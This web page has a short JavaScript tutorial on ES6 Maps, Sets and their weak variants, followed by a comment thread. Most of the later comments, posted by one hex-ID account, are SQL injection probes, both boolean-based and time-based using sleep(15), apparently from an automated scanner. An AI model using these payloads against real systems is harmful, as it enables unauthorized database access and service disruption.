Maps and Sets are new Collections in JavaScript that extend its capabilities beyond just Objects and Arrays.
Maps are kind of like objects, but allow you to use *any* object as a key, not just strings:
var map = new Map();
var key = { name: "Object Key" };
var value = { name: "Object Value" };
// This wouldn't be possible using just an object.
map.set(key, value);
map.get(key);
With a Map, you'll also never accidentally overwrite a property with a storage key:
map.set("size", "value");
console.log(map.get("size") + " vs. " + map.size);
Sets are more like arrays, but only have unique values in them:
var array = [1,3,5,1,5,5,3];
var uniqueValues = new Set();
array.forEach(value => uniqueValues.add(value));
uniqueValues.forEach((value) => console.log(value));
WeakMaps and WeakSets provide "leak-free" versions of these, by not storing references to the keys. You can read more about Maps, Sets, and their weak counterparts here: https://hacks.mozilla.org/2015/06/es6-in-depth-collections/
Loading…
28 comments
posted 7 months ago by hugoboos
Value =>positive transfer
posted 6 months ago by 661c390fa0b29100087f7b89
v
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
1
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
1
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
-1 OR 2+746-746-1=0+0+0+1 --
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
-1 OR 2+825-825-1=0+0+0+1
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
-1' OR 2+632-632-1=0+0+0+1 --
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
-1' OR 2+460-460-1=0+0+0+1 or 'VKjTNB8w'='
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
-1" OR 2+525-525-1=0+0+0+1 --
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
1*if(now()=sysdate(),sleep(15),0)
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
posted 3 months ago by 396abf98bfbf9e0278c0ff5763ab8d98